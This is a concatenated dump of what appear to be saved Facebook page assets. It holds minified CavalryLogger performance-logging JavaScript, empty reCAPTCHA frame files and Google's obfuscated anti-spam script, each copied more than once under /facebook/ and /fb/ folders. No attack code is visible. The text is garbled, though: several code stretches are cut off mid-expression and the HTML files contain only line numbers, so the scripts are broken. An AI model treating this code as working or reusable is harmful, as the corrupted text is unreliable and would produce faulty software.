f=this.values.t_cstart||this.values.t_start;f=e?f+e:b("performanceAbsoluteNow")();this.setValue(a,f,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c);return this},setAbsTimeStamp:function(a,b,c,d){this.setValue(a,b,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c,b);return this},log:function(){__p&&__p();var a={lid:this.lid};b("ISB").token&&(a.fb_isb=b("ISB").token);this.addPiggyback("pagelet_events",b("PageletEventsHelper").getMetrics(this.lid));this.setValue("client_pixel_ratio_10x",parseInt((window.devicePixelRatio||1)*10,10));this._moveBootloaderData();a=babelHelpers["extends"]({t_creport:b("performanceAbsoluteNow")()},a,this.values,this.piggy_values);var c=window.__bodyWrapper;if(c.getCodeUsage&&h){if(!this.start||!this.e2e||!this.dd)throw new Error("Timestamps are missing in Cavalry. Please report this to the Web Speed team");var d=h.findUsedCSSSelectors(document,h.getDocumentStylesheets(document));d={js_calls:JSON.stringify(c.getCodeUsage()),css_selectors:JSON.stringify(d),bootloads:JSON.stringify(this._getBootloadsUntil(this.e2e))};g&&(d.html=JSON.stringify(g.getKillabyteHTMLData()));var e=babelHelpers["extends"]({},h.getDataForSnapshot(this.ddUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.dd))});d={e2e:d,dd:e};if(this.ttiUsageSnapshot){if(!this.tti)throw new Error("tti timestamp should always be present if we have usage data");d.tti=babelHelpers["extends"]({},h.getDataForSnapshot(this.ttiUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.tti))})}b("Arbiter").inform("cavalry_usage_data_collected",{usageData:d,lid:this.lid},"state");c.clearCodeUsage()}e=b("PerfXLogger").getPayload(a.lid);e&&this._logPerfXPiggybacks(a,e);b("Banzai").post(i,a,b("Banzai").VITAL);d=this.values;this.values={};this.piggy_values={};for(var c=0;c=c.start&&b<=a}).map(function(a){var b=a[0];a[1];return b})},measurePageLoad:function(a,b){b?this.setAbsTimeStamp("t_tti",b,a):this.setTimeStamp("t_tti",a),this._collectMetrics(a)},collectBrowserTiming:function(a){if(b("performance").timing){this.start=b("performance").timing.navigationStart;this.tti=this.values.t_bigpipe_tti;this.dd=this.values.t_marker_all_pagelets_displayed;this.e2e=this.values.t_onload;a=b("NavigationTimingHelper").getNavTimings();this.addPiggyback("navigation_timing",a);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(0,!1).data),this._collectTTIAndE2EWithImages())}},collectTimingForAsync:function(a,c){__p&&__p();if(!c)return;if(b("performance").timing&&b("performance").getEntriesByName){a=b("performance").getEntriesByName(c);if(a.length===0)return;this.start=b("performance").timing.navigationStart+a[0].startTime;this.tti=this.values.t_bigpipe_tti;this.e2e=this.values.t_onload;c=b("NavigationTimingHelper").getAsyncRequestTimings(c);this.addPiggyback("navigation_timing",c);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(a[0].startTime,!1).data),this._collectTTIAndE2EWithImages())}},_collectTTIAndE2EWithImages:function(){var a=b("performance").timing.navigationStart,c=this.values.t_bigpipe_tti,d=this.values.t_marker_bigpipe_e2e,e=b("ImageTimingHelper").getImageTimings(this.lid);c=b("ResourceTimingBootloaderHelper").getLastTTIAndE2EImageResponseEnds(c,d,e);!isNaN(c.TTI)&&c.TTI!==a&&this.setAbsTimeStamp("t_tti_with_images",c.TTI);!isNaN(c.E2E)&&c.E2E!==a&&this.setAbsTimeStamp("t_marker_bigpipe_e2e_with_images",c.E2E)}});Object.assign(k,{startInstrumentation:function(){for(var a in k.instances){var b=k.instances[a];b.initializeInstrumentation();"t_tti"in b.values&&b.measurePageLoad(!1,b.values.t_tti)}},hookLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.setPageID(a),k.instances[a].log()},[b("PageEvents").NATIVE_ONLOAD])},hookCollectAndLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.getInstance(a).collectBrowserTiming(),k.getInstance(a).log()},[b("PageEvents").BIGPIPE_ONLOAD])}});e.exports=k}),null); -------------------------------------------------------------------------------- /facebook/index_files/v4WgC_pJT9B.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["FEt5G"]); } 2 | 3 | __d("CavalryLoggerImpl",["Arbiter","Banzai","Bootloader","ImageTimingHelper","ISB","KillabyteProfilerConfig","NavigationTimingHelper","PageEvents","PageletEventConstsJS","PageletEventsHelper","PerfXLogger","ResourceTimingBootloaderHelper","ScriptPath","performance","performanceAbsoluteNow","__getTotalFactories","__getCompileTime","__getFactoryTime"],(function(a,b,c,d,e,f){__p&&__p();var g=b("KillabyteProfilerConfig").htmlProfilerModule,h=b("KillabyteProfilerConfig").profilerModule,i="cavalry",j=["t_start","t_paint","t_cstart"],k=window.CavalryLogger;Object.assign(k.prototype,{initializeInstrumentation:function(){__p&&__p();if(this.instrumentation_started)return;var c=this;b("Arbiter").subscribe("BigPipe/init",function(a,b){b.lid==c.lid&&b.arbiter&&(c._recordTTIEvent(b.arbiter,"tti_bigpipe"),c._recordDisplayedEvent(b.arbiter,"all_pagelets_displayed"),c._recordLoadedEvent(b.arbiter,"all_pagelets_loaded"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe("MRenderingScheduler/init",function(a,b){b.lid==c.lid&&(c._recordTTIEvent(b.arbiter,"MRenderingScheduler/tti"),c._recordDisplayedEvent(b.arbiter,"MRenderingScheduler/dd"),c._recordLoadedEvent(b.arbiter,"MRenderingScheduler/e2e"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe(b("PageEvents").BIGPIPE_ONLOAD,function(d,e){a.bigPipe&&c.lid===a.bigPipe.lid&&c.addPiggyback("cjs_factory_count_e2e",b("__getTotalFactories")()).addPiggyback("cjs_compile_time_e2e",b("__getCompileTime")()).addPiggyback("cjs_factory_time_e2e",b("__getFactoryTime")())});c.addPiggyback("script_path",b("ScriptPath").getScriptPath());this.is_detailed_profiler&&b("PageletEventsHelper").init();this.instrumentation_started=!0},_recordTTIEvent:function(a,b){__p&&__p();var c=this;a.subscribe(b,function(a,b){if(b.lid==c.lid){if(b.metrics)for(var d in b.metrics)c.addPiggyback(d,b.metrics[d]);b.usageSnapshot&&(c.ttiUsageSnapshot=b.usageSnapshot);c._setTTIPhase(b.phase).measurePageLoad(!0,b.ts);c.setAbsTimeStamp("t_bigpipe_tti",b.ts,!0)}})},_recordDisplayedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&(b.usageSnapshot&&(c.ddUsageSnapshot=b.usageSnapshot),c.setAbsTimeStamp("t_marker_all_pagelets_displayed",b.ts,!0))})},_recordLoadedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&c.setAbsTimeStamp("t_marker_bigpipe_e2e",b.ts,!0)})},_recordPageletEventsTime:function(a){__p&&__p();if(this.is_detailed_profiler){var c=this;a.subscribe("pagelet_event",function(a,d){if(d.lid==c.lid){a=d.id;c.events[a]=c.events[a]||{};c.events[a][d.event]=d.ts-window._cstart;d.event===b("PageletEventConstsJS").ARRIVE_END&&(c.events[a].phase=d.phase)}})}},_setTTIPhase:function(a){this.addPiggyback("tti_phase",a);return this},setTimeStamp:function(a,c,d,e){this.mark(a);var f=this.values.t_cstart||this.values.t_start;f=e?f+e:b("performanceAbsoluteNow")();this.setValue(a,f,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c);return this},setAbsTimeStamp:function(a,b,c,d){this.setValue(a,b,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c,b);return this},log:function(){__p&&__p();var a={lid:this.lid};b("ISB").token&&(a.fb_isb=b("ISB").token);this.addPiggyback("pagelet_events",b("PageletEventsHelper").getMetrics(this.lid));this.setValue("client_pixel_ratio_10x",parseInt((window.devicePixelRatio||1)*10,10));this._moveBootloaderData();a=babelHelpers["extends"]({t_creport:b("performanceAbsoluteNow")()},a,this.values,this.piggy_values);var c=window.__bodyWrapper;if(c.getCodeUsage&&h){if(!this.start||!this.e2e||!this.dd)throw new Error("Timestamps are missing in Cavalry. Please report this to the Web Speed team");var d=h.findUsedCSSSelectors(document,h.getDocumentStylesheets(document));d={js_calls:JSON.stringify(c.getCodeUsage()),css_selectors:JSON.stringify(d),bootloads:JSON.stringify(this._getBootloadsUntil(this.e2e))};g&&(d.html=JSON.stringify(g.getKillabyteHTMLData()));var e=babelHelpers["extends"]({},h.getDataForSnapshot(this.ddUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.dd))});d={e2e:d,dd:e};if(this.ttiUsageSnapshot){if(!this.tti)throw new Error("tti timestamp should always be present if we have usage data");d.tti=babelHelpers["extends"]({},h.getDataForSnapshot(this.ttiUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.tti))})}b("Arbiter").inform("cavalry_usage_data_collected",{usageData:d,lid:this.lid},"state");c.clearCodeUsage()}e=b("PerfXLogger").getPayload(a.lid);e&&this._logPerfXPiggybacks(a,e);b("Banzai").post(i,a,b("Banzai").VITAL);d=this.values;this.values={};this.piggy_values={};for(var c=0;c=c.start&&b<=a}).map(function(a){var b=a[0];a[1];return b})},measurePageLoad:function(a,b){b?this.setAbsTimeStamp("t_tti",b,a):this.setTimeStamp("t_tti",a),this._collectMetrics(a)},collectBrowserTiming:function(a){if(b("performance").timing){this.start=b("performance").timing.navigationStart;this.tti=this.values.t_bigpipe_tti;this.dd=this.values.t_marker_all_pagelets_displayed;this.e2e=this.values.t_onload;a=b("NavigationTimingHelper").getNavTimings();this.addPiggyback("navigation_timing",a);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(0,!1).data),this._collectTTIAndE2EWithImages())}},collectTimingForAsync:function(a,c){__p&&__p();if(!c)return;if(b("performance").timing&&b("performance").getEntriesByName){a=b("performance").getEntriesByName(c);if(a.length===0)return;this.start=b("performance").timing.navigationStart+a[0].startTime;this.tti=this.values.t_bigpipe_tti;this.e2e=this.values.t_onload;c=b("NavigationTimingHelper").getAsyncRequestTimings(c);this.addPiggyback("navigation_timing",c);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(a[0].startTime,!1).data),this._collectTTIAndE2EWithImages())}},_collectTTIAndE2EWithImages:function(){var a=b("performance").timing.navigationStart,c=this.values.t_bigpipe_tti,d=this.values.t_marker_bigpipe_e2e,e=b("ImageTimingHelper").getImageTimings(this.lid);c=b("ResourceTimingBootloaderHelper").getLastTTIAndE2EImageResponseEnds(c,d,e);!isNaN(c.TTI)&&c.TTI!==a&&this.setAbsTimeStamp("t_tti_with_images",c.TTI);!isNaN(c.E2E)&&c.E2E!==a&&this.setAbsTimeStamp("t_marker_bigpipe_e2e_with_images",c.E2E)}});Object.assign(k,{startInstrumentation:function(){for(var a in k.instances){var b=k.instances[a];b.initializeInstrumentation();"t_tti"in b.values&&b.measurePageLoad(!1,b.values.t_tti)}},hookLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.setPageID(a),k.instances[a].log()},[b("PageEvents").NATIVE_ONLOAD])},hookCollectAndLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.getInstance(a).collectBrowserTiming(),k.getInstance(a).log()},[b("PageEvents").BIGPIPE_ONLOAD])}});e.exports=k}),null); -------------------------------------------------------------------------------- /facebook/mobile_files/v4WgC_pJT9B.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["FEt5G"]); } 2 | 3 | __d("CavalryLoggerImpl",["Arbiter","Banzai","Bootloader","ImageTimingHelper","ISB","KillabyteProfilerConfig","NavigationTimingHelper","PageEvents","PageletEventConstsJS","PageletEventsHelper","PerfXLogger","ResourceTimingBootloaderHelper","ScriptPath","performance","performanceAbsoluteNow","__getTotalFactories","__getCompileTime","__getFactoryTime"],(function(a,b,c,d,e,f){__p&&__p();var g=b("KillabyteProfilerConfig").htmlProfilerModule,h=b("KillabyteProfilerConfig").profilerModule,i="cavalry",j=["t_start","t_paint","t_cstart"],k=window.CavalryLogger;Object.assign(k.prototype,{initializeInstrumentation:function(){__p&&__p();if(this.instrumentation_started)return;var c=this;b("Arbiter").subscribe("BigPipe/init",function(a,b){b.lid==c.lid&&b.arbiter&&(c._recordTTIEvent(b.arbiter,"tti_bigpipe"),c._recordDisplayedEvent(b.arbiter,"all_pagelets_displayed"),c._recordLoadedEvent(b.arbiter,"all_pagelets_loaded"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe("MRenderingScheduler/init",function(a,b){b.lid==c.lid&&(c._recordTTIEvent(b.arbiter,"MRenderingScheduler/tti"),c._recordDisplayedEvent(b.arbiter,"MRenderingScheduler/dd"),c._recordLoadedEvent(b.arbiter,"MRenderingScheduler/e2e"),c._recordPageletEventsTime(b.arbiter))});b("Arbiter").subscribe(b("PageEvents").BIGPIPE_ONLOAD,function(d,e){a.bigPipe&&c.lid===a.bigPipe.lid&&c.addPiggyback("cjs_factory_count_e2e",b("__getTotalFactories")()).addPiggyback("cjs_compile_time_e2e",b("__getCompileTime")()).addPiggyback("cjs_factory_time_e2e",b("__getFactoryTime")())});c.addPiggyback("script_path",b("ScriptPath").getScriptPath());this.is_detailed_profiler&&b("PageletEventsHelper").init();this.instrumentation_started=!0},_recordTTIEvent:function(a,b){__p&&__p();var c=this;a.subscribe(b,function(a,b){if(b.lid==c.lid){if(b.metrics)for(var d in b.metrics)c.addPiggyback(d,b.metrics[d]);b.usageSnapshot&&(c.ttiUsageSnapshot=b.usageSnapshot);c._setTTIPhase(b.phase).measurePageLoad(!0,b.ts);c.setAbsTimeStamp("t_bigpipe_tti",b.ts,!0)}})},_recordDisplayedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&(b.usageSnapshot&&(c.ddUsageSnapshot=b.usageSnapshot),c.setAbsTimeStamp("t_marker_all_pagelets_displayed",b.ts,!0))})},_recordLoadedEvent:function(a,b){var c=this;a.subscribe(b,function(a,b){b.lid===c.lid&&c.setAbsTimeStamp("t_marker_bigpipe_e2e",b.ts,!0)})},_recordPageletEventsTime:function(a){__p&&__p();if(this.is_detailed_profiler){var c=this;a.subscribe("pagelet_event",function(a,d){if(d.lid==c.lid){a=d.id;c.events[a]=c.events[a]||{};c.events[a][d.event]=d.ts-window._cstart;d.event===b("PageletEventConstsJS").ARRIVE_END&&(c.events[a].phase=d.phase)}})}},_setTTIPhase:function(a){this.addPiggyback("tti_phase",a);return this},setTimeStamp:function(a,c,d,e){this.mark(a);var f=this.values.t_cstart||this.values.t_start;f=e?f+e:b("performanceAbsoluteNow")();this.setValue(a,f,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c);return this},setAbsTimeStamp:function(a,b,c,d){this.setValue(a,b,c,d);this.tti_event&&a==this.tti_event&&this.measurePageLoad(c,b);return this},log:function(){__p&&__p();var a={lid:this.lid};b("ISB").token&&(a.fb_isb=b("ISB").token);this.addPiggyback("pagelet_events",b("PageletEventsHelper").getMetrics(this.lid));this.setValue("client_pixel_ratio_10x",parseInt((window.devicePixelRatio||1)*10,10));this._moveBootloaderData();a=babelHelpers["extends"]({t_creport:b("performanceAbsoluteNow")()},a,this.values,this.piggy_values);var c=window.__bodyWrapper;if(c.getCodeUsage&&h){if(!this.start||!this.e2e||!this.dd)throw new Error("Timestamps are missing in Cavalry. Please report this to the Web Speed team");var d=h.findUsedCSSSelectors(document,h.getDocumentStylesheets(document));d={js_calls:JSON.stringify(c.getCodeUsage()),css_selectors:JSON.stringify(d),bootloads:JSON.stringify(this._getBootloadsUntil(this.e2e))};g&&(d.html=JSON.stringify(g.getKillabyteHTMLData()));var e=babelHelpers["extends"]({},h.getDataForSnapshot(this.ddUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.dd))});d={e2e:d,dd:e};if(this.ttiUsageSnapshot){if(!this.tti)throw new Error("tti timestamp should always be present if we have usage data");d.tti=babelHelpers["extends"]({},h.getDataForSnapshot(this.ttiUsageSnapshot),{bootloads:JSON.stringify(this._getBootloadsUntil(this.tti))})}b("Arbiter").inform("cavalry_usage_data_collected",{usageData:d,lid:this.lid},"state");c.clearCodeUsage()}e=b("PerfXLogger").getPayload(a.lid);e&&this._logPerfXPiggybacks(a,e);b("Banzai").post(i,a,b("Banzai").VITAL);d=this.values;this.values={};this.piggy_values={};for(var c=0;c=c.start&&b<=a}).map(function(a){var b=a[0];a[1];return b})},measurePageLoad:function(a,b){b?this.setAbsTimeStamp("t_tti",b,a):this.setTimeStamp("t_tti",a),this._collectMetrics(a)},collectBrowserTiming:function(a){if(b("performance").timing){this.start=b("performance").timing.navigationStart;this.tti=this.values.t_bigpipe_tti;this.dd=this.values.t_marker_all_pagelets_displayed;this.e2e=this.values.t_onload;a=b("NavigationTimingHelper").getNavTimings();this.addPiggyback("navigation_timing",a);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(0,!1).data),this._collectTTIAndE2EWithImages())}},collectTimingForAsync:function(a,c){__p&&__p();if(!c)return;if(b("performance").timing&&b("performance").getEntriesByName){a=b("performance").getEntriesByName(c);if(a.length===0)return;this.start=b("performance").timing.navigationStart+a[0].startTime;this.tti=this.values.t_bigpipe_tti;this.e2e=this.values.t_onload;c=b("NavigationTimingHelper").getAsyncRequestTimings(c);this.addPiggyback("navigation_timing",c);this.log_resources&&(this.addPiggyback("resource_timing_bootloader",b("ResourceTimingBootloaderHelper").getMetrics(a[0].startTime,!1).data),this._collectTTIAndE2EWithImages())}},_collectTTIAndE2EWithImages:function(){var a=b("performance").timing.navigationStart,c=this.values.t_bigpipe_tti,d=this.values.t_marker_bigpipe_e2e,e=b("ImageTimingHelper").getImageTimings(this.lid);c=b("ResourceTimingBootloaderHelper").getLastTTIAndE2EImageResponseEnds(c,d,e);!isNaN(c.TTI)&&c.TTI!==a&&this.setAbsTimeStamp("t_tti_with_images",c.TTI);!isNaN(c.E2E)&&c.E2E!==a&&this.setAbsTimeStamp("t_marker_bigpipe_e2e_with_images",c.E2E)}});Object.assign(k,{startInstrumentation:function(){for(var a in k.instances){var b=k.instances[a];b.initializeInstrumentation();"t_tti"in b.values&&b.measurePageLoad(!1,b.values.t_tti)}},hookLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.setPageID(a),k.instances[a].log()},[b("PageEvents").NATIVE_ONLOAD])},hookCollectAndLogOnLoad:function(a){b("Arbiter").registerCallback(function(){k.getInstance(a).collectBrowserTiming(),k.getInstance(a).log()},[b("PageEvents").BIGPIPE_ONLOAD])}});e.exports=k}),null); -------------------------------------------------------------------------------- /fb/index_files/bframe.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | reCAPTCHA 7 | 178 | 179 | 180 | 183 | 184 |
-------------------------------------------------------------------------------- /facebook/index_files/bframe.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | reCAPTCHA 7 | 178 | 179 | 180 | 183 | 184 |
-------------------------------------------------------------------------------- /fb/index_files/IhUXDwDlznYG7VZ0A3yuLJXPLrkxHnGU-rE_nXNj-Zk.js: -------------------------------------------------------------------------------- 1 | /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ Function('var JU=function(D,r,J,p,G){for(D.T=(((D.$=void 0,(p=[],D).i=(D.U=!(D.w=(D.K=(D.Y=0,25),function(I,e,z){return(e=function(){return z()},z=function(){return I},e)[this.N]=function(n){I=n},e}),G=0,1),false),D.l=function(I,e,z,n,w,t){return t=(w=function(){return n()},z=(n=function(){return n[z.v+(w[z.J]===e)-!t[z.J]]},this),z.O),w[z.N]=function(P){n[z.R]=P},w[z.N](I),I=w},D).f=void 0,D).M=[],0);128>G;G++)p[G]=String.fromCharCode(G);m(D,18,((m((m(D,(m(((m(D,148,(G=(m(D,(m(D,226,(m(D,(m(D,(m(D,246,(m(D,71,(m(D,(m(D,183,(m(D,(m(D,(D.zs=(m(D,(m(D,164,(m(D,66,(m((m(D,90,(m(D,155,(m(D,(m(D,77,(m(D,5,(m(D,216,(m(D,254,(m(D,247,(m((m(D,(m(D,(m(D,(m(D,(m(D,(m(D,36,(D.m=(m(D,25,(m(D,(m(D,219,(m(D,194,(m((D.G=[],D.a=[],D),124,0),m(D,136,0),function(I,e,z,n,w,t,P){if(n=(z=k((e=I.H(),I)),""),I.a[67])for(w=I.B(67),t=0,P=w.length;z--;)t=(t+k(I))%P,n+=p[w[t]];else for(;z--;)n+=p[I.H()];m(I,e,n)})),function(I,e,z,n){m((e=(z=(e=I.H(),I.H()),n=I.H(),I).B(e)==I.B(z),I),n,+e)})),220),function(I,e,z,n){m(I,(e=(n=(z=(e=I.H(),I).H(),I.H()),z=I.B(z),I.B(e)),n),e[z])}),function(I,e,z,n){n=(z=(e=I.H(),I.H()),I.H()),m(I,n,I.B(e)>>z)})),[]),0)),204),function(I){F(I,4)}),39),function(I){I.P(4)}),185),function(I,e,z,n,w,t){if(!A(I,1,255)){if(I=(n=(z=(e=(w=(n=(z=(e=I.H(),I.H()),I).H(),I).H(),I).B(e),I).B(z),I.B(n)),I.B(w)),"object"==S(e)){for(t in w=[],e)w.push(t);e=w}for(t=e.length,w=0;w>=B,U},w(3))+1,w(5)),Y=[],0);y=U.length;)U.push(B.H());f=U[f]}N.push(f)}B.f=(B.$=B.l(X.slice(),B.H),B.l(N,B.H))})}),m(D,149,2048),D),15,function(I){F(I,1)}),function(I,e,z,n,w){m(I,(z=(n=(z=(e=I.H(),I.H()),I.B(I.H())),w=I.B(I.H()),I.B(z)),e),Z(I,z,n,w))})),function(I,e){e=I.H(),I=I.B(e),I[0].removeEventListener(I[1],I[2],false)})),function(I,e){A(I,1,5)||(e=c(I),m(I,e.c,e.L.apply(e.C,e.A)))})),function(I){DH(I,4)})),m(D,205,function(){}),m(D,200,function(I,e,z){0!=(z=(e=I.H(),I.H()),I.B(e))&&m(I,124,I.B(z))}),function(I,e,z,n,w){for(n=(w=(z=k((e=I.H(),I)),0),[]);w=D.K--||D.M.push(254>=G?G:254)),J}},q=function(D,r,J,p,G,I){for(G=D.B(r),95==r?(r=function(e,z,n,w){if(n=(z=G.length,z-4>>3),G.b!=n){w=(n=((G.b=n,n)<<3)-4,[0,0,0,I]);try{G.j=zp(W(G,n),W(G,n+4),w)}catch(t){throw t;}}G.push(G.j[z&7]^e)},I=D.B(148)):r=function(e){G.push(e)},p&&r(p&255),D=J.length,p=0;pG?r[J++]=G:(2048>G?r[J++]=G>>6|192:(55296==(G&64512)&&p+1>18|240,r[J++]=G>>12&63|128):r[J++]=G>>12|224,r[J++]=G>>6&63|128),r[J++]=G&63|128);return r},l=(O.prototype.S=(O.prototype.R=36,((O.prototype.mR=function(D,r,J,p){for(;J--;)124!=J&&136!=J&&r.a[J]&&(r.a[J]=r[p](r[D](J),this));r[D]=this},window.performance)||{}).now?function(){return this.Hr+(window.performance.now()|0)}:function(){return+new Date}),function(D,r,J,p,G){m(D,149,((J=(p=(0==(void 0!=(r=(G=D.B(136),[r,G>>8&255,G&255]),p)&&r.push(p),D.B(164).length)&&(D.a[164]=void 0,m(D,164,r)),""),J&&(J.message&&(p+=J.message),J.stack&&(p+=":"+J.stack)),D).B(149),3)>8*p&255;return J}),C=this||self,I6=function(D,r){m(D,(D.W.push(D.a.slice()),D.a[124]=void 0,124),r)},F=(O.prototype.N="toString",function(D,r,J,p){for(J=D.H(),p=0;0>17,r=(r^r<<5)&J)||(r=1),D^r},O.prototype).J="caller",{}),c=(O.prototype.O=function(D,r,J,p,G){if(r=D[0],r==L){D=D[1];try{for(p=(J=atob(D),D=[],r=0);p>=8),D[r++]=G;this.I=D}catch(I){l(this,17,I)}p_(this)}else if(r==R)J=D[1],J.push(this.B(138).length,this.B(95).length,this.B(50).length,this.B(149)),m(this,158,D[2]),this.a[162]&&V(this,this.B(162));else{if(r==d){if(D=(G=(4<(0<(4<(r=(G=(G=(D=(J=D[2],u)(this.B(138).length+2,2),this.B(164)),0>3&&(this.F=D>>3,r=[0,0,0,this.B(36)],this.s=zp(this.o,this.F,r)),124),D+1),this).I[D]^this.s[D%8]},function(D,r){return D[r]<<24|D[r+1]<<16|D[r+2]<<8|D[r+3]}),m=(O.prototype.P=function(D,r,J,p){q(this,(p=(J=(D&=(r=D&4,3),this).H(),this).H(),J=this.B(J),r&&(J=n_((""+J).replace(/\\r\\n/g,"\\n"))),D&&q(this,p,u(J.length,2)),p),J)},O.prototype.$d=function(D,r,J,p,G){for(G=p=0;G>6;return(p=new Number((D=(p+=p<<3,p^=p>>11,p)+(p<<15)>>>0,D)&(1<>>r)%J,p},function(D,r,J){if(124==r||136==r)if(D.a[r])D.a[r][D.N](J);else D.a[r]=D.w(J);else if(138!=r&&95!=r&&50!=r&&164!=r||!D.a[r])D.a[r]=D.l(J,D.B);36==r&&(D.o=void 0,m(D,124,D.B(124)+4))}),k=function(D,r){return(r=D.H(),r&128)&&(r=r&127|D.H()<<7),r},r5=((O.prototype.Br=C.requestIdleCallback?function(D){requestIdleCallback(D,{timeout:4})}:C.setImmediate?function(D){setImmediate(D)}:function(D){setTimeout(D,0)},O).prototype.X=function(D,r,J,p,G,I){if(this.g)return this.g;try{p=!!D,I=[],G=[],h(this,[R,G,r]),h(this,[d,D,G,I]),b(this,false,p,true),J=I[0]}catch(e){K(this,e),J=this.g,D&&D(J)}return J},O.prototype.v=35,{}),A=(O.prototype.O7=function(D,r,J,p,G,I){for(I=(J=[],p=0);I>p&255);return J},function(D,r,J){if(0>=D.Y||1J;J++)r[J]+=D[J];for(D=[13,8,13,12,(J=0,16),5,3,10,15];9>J;J++)r[3](r,J%3,D[J])}},O.prototype.I1=function(D,r,J,p){try{p=D[(r+2)%3],D[r]=D[r]-D[(r+1)%3]-p^(1==r?p<>>J)}catch(G){throw G;}},{}),V=(O.prototype.V=false,function(D,r,J){return p_(D,(J=D.B(124),D.I&&J>>5)+r^p+J[p&3],p+=3172301049,r+=(D<<4^D>>>5)+D^p+J[p>>>11&3];return[D>>>24,D>>16&255,D>>8&255,D&255,r>>>24,r>>16&255,r>>8&255,r&255]}catch(G){throw G;}};M.ZLK=(M.bg=function(D,r,J){return D&&D.substring&&(J=M[D.substring(0,3)])?new J(D.substring(3),r):new M.ZLK(D,r)},function(D,r,J){this.invoke=(J=new O(D,{D:r}),function(p,G,I){return(I=J.X(G&&p,I),p)&&!G&&p(I),I})});try{M.u||(C.addEventListener("unload",function(){},x),M.u=1)}catch(D){}try{C.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){x={passive:true}}}))}catch(D){};')(); -------------------------------------------------------------------------------- /facebook/index_files/IhUXDwDlznYG7VZ0A3yuLJXPLrkxHnGU-rE_nXNj-Zk.js: -------------------------------------------------------------------------------- 1 | /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ Function('var JU=function(D,r,J,p,G){for(D.T=(((D.$=void 0,(p=[],D).i=(D.U=!(D.w=(D.K=(D.Y=0,25),function(I,e,z){return(e=function(){return z()},z=function(){return I},e)[this.N]=function(n){I=n},e}),G=0,1),false),D.l=function(I,e,z,n,w,t){return t=(w=function(){return n()},z=(n=function(){return n[z.v+(w[z.J]===e)-!t[z.J]]},this),z.O),w[z.N]=function(P){n[z.R]=P},w[z.N](I),I=w},D).f=void 0,D).M=[],0);128>G;G++)p[G]=String.fromCharCode(G);m(D,18,((m((m(D,(m(((m(D,148,(G=(m(D,(m(D,226,(m(D,(m(D,(m(D,246,(m(D,71,(m(D,(m(D,183,(m(D,(m(D,(D.zs=(m(D,(m(D,164,(m(D,66,(m((m(D,90,(m(D,155,(m(D,(m(D,77,(m(D,5,(m(D,216,(m(D,254,(m(D,247,(m((m(D,(m(D,(m(D,(m(D,(m(D,(m(D,36,(D.m=(m(D,25,(m(D,(m(D,219,(m(D,194,(m((D.G=[],D.a=[],D),124,0),m(D,136,0),function(I,e,z,n,w,t,P){if(n=(z=k((e=I.H(),I)),""),I.a[67])for(w=I.B(67),t=0,P=w.length;z--;)t=(t+k(I))%P,n+=p[w[t]];else for(;z--;)n+=p[I.H()];m(I,e,n)})),function(I,e,z,n){m((e=(z=(e=I.H(),I.H()),n=I.H(),I).B(e)==I.B(z),I),n,+e)})),220),function(I,e,z,n){m(I,(e=(n=(z=(e=I.H(),I).H(),I.H()),z=I.B(z),I.B(e)),n),e[z])}),function(I,e,z,n){n=(z=(e=I.H(),I.H()),I.H()),m(I,n,I.B(e)>>z)})),[]),0)),204),function(I){F(I,4)}),39),function(I){I.P(4)}),185),function(I,e,z,n,w,t){if(!A(I,1,255)){if(I=(n=(z=(e=(w=(n=(z=(e=I.H(),I.H()),I).H(),I).H(),I).B(e),I).B(z),I.B(n)),I.B(w)),"object"==S(e)){for(t in 